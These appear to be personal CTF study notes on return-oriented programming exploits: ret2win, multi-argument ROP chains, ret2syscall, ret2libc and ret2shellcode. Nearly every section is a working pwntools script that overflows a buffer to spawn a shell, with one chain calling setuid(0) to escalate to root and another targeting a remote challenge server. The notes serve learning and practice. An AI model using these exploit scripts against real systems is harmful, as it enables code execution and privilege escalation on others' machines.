ROP
Ret2Win
Really bad summary
Get offset to override EIP
Can be easily done with
pwn.cyclic
Get address of
win
functionDepends whether ASLR is enabled, or else
symbols
frompwntools
can do the trick
Get a gadget via ROPgadget (usually ret)
ROPgadget --binary x | grep ret
Construct payload
X amount of 'A's to override EIP
addr_of_gadget (ret)
addr_of_win
send and win
Sample Code
from pwn import *
offset = 32
binary = ELF("./EEEEEEEEEELMAOOOOOOOOOOOOO")
p = binary.process()
win_addr = binary.symbols['win']
ret_addr = 0x000000000040101a
payload = b'A' * offset
payload += p64(ret_addr)
payload += p64(win_addr)
p.sendline(payload)
output = p.recvall()
print(output)
ROP chain with arguments
from pwn import *
offset = 120
bin = ELF('/ESSSSSSADDDDDDDDDDDDDDDDD')
pop_rdi_ret = 0x0000000000402a93
win_addr_1 = bin.symbols['win_stage_1']
win_addr_2 = bin.symbols['win_stage_2']
win_addr_3 = bin.symbols['win_stage_3']
win_addr_4 = bin.symbols['win_stage_4']
win_addr_5 = bin.symbols['win_stage_5']
payload = b"A" * offset
payload += p64(pop_rdi_ret) + p64(1) + p64(win_addr_1)
payload += p64(pop_rdi_ret) + p64(2) + p64(win_addr_2)
payload += p64(pop_rdi_ret) + p64(3) + p64(win_addr_3)
payload += p64(pop_rdi_ret) + p64(4) + p64(win_addr_4)
payload += p64(pop_rdi_ret) + p64(5) + p64(win_addr_5)
p = bin.process()
p.sendline(payload)
p.interactive()
Visual Representation of the stack
Stack Layout After Payload:
---------------------------
+-----------------+
| ... | <- Padding ("A" * offset)
| |
+-----------------+
| Return Address | <- Points to pop_rdi_ret
| Argument (1) |
| Function Address| <- win_addr_1
+-----------------+
| Return Address | <- Points to pop_rdi_ret
| Argument (2) |
| Function Address| <- win_addr_2
+-----------------+
| Return Address | <- Points to pop_rdi_ret
| Argument (3) |
| Function Address| <- win_addr_3
+-----------------+
| Return Address | <- Points to pop_rdi_ret
| Argument (4) |
| Function Address| <- win_addr_4
+-----------------+
| Return Address | <- Points to pop_rdi_ret
| Argument (5) |
| Function Address| <- win_addr_5
+-----------------+
Ret2SysCall
based on this article
Syscall Strings
x86 (int 0x80)
x86_64 (syscall)
Example : Calling execve with the use of syscalls to obtain a shell
For x64
Get ROP gadgets and their addresses
E.g
ROPgadget --binary aasdasd | grep "pop rax; ret"
Crafting the exploit
from pwn import *
offset = 80
bin = ELF('/challenge/babyrop_level4.0')
p = bin.process()
stack_leak = p.recvline_startswith(b'[LEAK] Your input buffer is located at:')
payload = b'/bin/sh\x00'
payload += b"A" * offset
print(stack_leak)
#My addresses
pop_rax = 0x0000000000401fad
pop_rdi = 0x0000000000401fd5
bin_sh = stack_leak.split()[-1][:-1].decode()
bin_sh = int(bin_sh, 16)
pop_rsi = 0x0000000000401fcd
pop_rdx = 0x0000000000401fa5
syscall = 0x0000000000401fb5
ret = 0x000000000040101a
#setuid(0) - So that I can run the binary as root
payload += p64(pop_rax) + p64(0x69)
payload += p64(pop_rdi) +p64(0)
payload += p64(syscall)
#execve('/bin/sh',0,0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdi) +p64(bin_sh)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
p.sendline(payload)
p.interactive()
Alternatively, if /bin/sh
is not on the binary, we can use other functions such as read()
and gets()
to write to .bss
#Syscall to READ first
payload += p64(pop_rax) + p64(0x00)
payload += p64(pop_rdi) +p64(0x00)
#addr of bss via elf.bss()
payload += p64(pop_rsi) + p64(addr_bss)
payload += p64(pop_rdx) + p64(0x8)
payload += p64(syscall)
#Rest of the normal syscall payload
p.sendline(payload)
#Sending /bin/sh string to stdin
p.sendline(b'/bin/sh\x00')
Ret2Libc
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pet_companion_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
# p = process('./pet_companion_patched')
p = remote('94.237.58.155',32207)
# gdb.attach(p)
offset = 72
POP_RSI = 0x400741
POP_RDI = 0x400743
write_plt = exe.sym["write"]
main = exe.sym["main"]
write_got = exe.got["write"]
payload = b"A" * offset
payload += p64(POP_RSI)
payload += p64(write_got)
payload += p64(0x0)
payload += p64(write_plt)
#Returning to main
payload += p64(main)
p.recvuntil(b"status:")
p.clean()
p.sendline(payload)
p.recvuntil(b'Configuring...\n\n')
write_leak = u64(p.read(8))
write_offset = libc.sym["write"]
#using write to leak libc address
libc.address = write_leak - write_offset
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.symbols['system'] # getting system() in libc addr
second_payload = b'A' * offset
#Might need to use other ROP gadgets to clear registers for certain function calls
second_payload += p64(POP_RDI)
second_payload += p64(bin_sh)
second_payload += p64(system)
p.recvuntil(b"status:")
p.clean()
p.sendline(second_payload)
p.interactive()
Ret2ShellCode
from pwn import *
offset = 40
target = process('./pilot')
file = ELF('./pilot')
context.binary = ELF('./pilot')
target.recvuntil("[*]Location:")
leak = int(target.recvline()[:-1],16) #Leak of the address that is being written to
shellcode = asm(shellcraft.sh()) #crafting my shellcode, must be below 40 bytes
print(len(shellcode))
# shellcode = b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
nop_slide = asm('nop') * (offset - len(shellcode)) #nop slide to go to my shellcode
payload = b""
payload += shellcode
payload += b'A' * (offset - len(shellcode)) #serves the same purpose of my shellcode
payload += p64(leak) #goes to the address of the leak thus executing my shell code
target.send(payload)
target.interactive()
Length of shellcode must be below the offset to override EIP/RIP (40 in this case)
NOP/padding slide is used to ensure that the the execution is smooth
Last updated